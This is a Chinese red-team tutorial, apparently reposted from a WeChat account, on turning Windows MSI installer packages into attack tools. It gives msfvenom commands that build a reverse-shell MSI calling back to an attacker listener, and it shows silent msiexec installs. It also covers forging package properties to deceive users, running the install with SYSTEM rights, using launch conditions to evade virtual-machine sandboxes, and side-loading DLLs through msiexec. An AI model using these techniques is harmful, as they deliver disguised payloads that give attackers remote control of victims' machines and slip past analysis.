前言
Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 的信息。每个安装包都包含一个.msi文件,该文件包含安装数据库、摘要信息流和安装的各个部分的数据流。
msf
直接加载msf的msi上线
msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o 1.msi

handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888
msiexec /q /i 1.msi


vs
下载扩展

搜索创建msi文件即可

利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令

点击项目输出

打包exe进msi

可以添加图标



创建快捷方式


在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗

如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:

启动条件
点击view->启动条件

可以设置硬件属性中的内存、分辨率来检测是否在虚拟机里启动

比如这里要求物理内存必须大于多少字节才启动安装包

可以通过orca.exe
来查看其他软件的启动条件设置,下载链接:https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe

常见的判断条件可参考:https://community.flexera.com/t5/InstallShield-Knowledge-Base/Common-MSI-Conditions/ta-p/3854

在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log
方式输出日志文件,通过对比日志文件进行更详细的条件设置

打包exe/二进制文件
MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件,文件释放位置可以使用系统文件夹属性变量





打包安装

加载dll
导出函数
extern "C" __declspec(dllexport) void DllRegisterServer(HWND hwnd, HINSTANCE hinst)
{
MessageBoxA(NULL, "1", "DllRegisterServer", MB_OK);
};
extern "C" __declspec(dllexport) void DllUnRegisterServer(HWND hwnd, HINSTANCE hinst)
{
MessageBoxA(NULL, "2", "DllUnRegisterServer", MB_OK);
}
msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer
或DllUnRegisterServer
# DllUnRegisterServer
msiexec /z C:windowstmprun.dll
# DllRegisterServer
msiexec /y C:windowstmprun.dll
# 执行run.dll文件 DllRegisterServer
msiexec /y .windowstmprun
# 执行 .dll 文件 DllRegisterServer
msiexec /y .calc.dll

加下方wx,拉你一起进群学习
往期推荐

原文始发于微信公众号(红队蓝军):msi的简单使用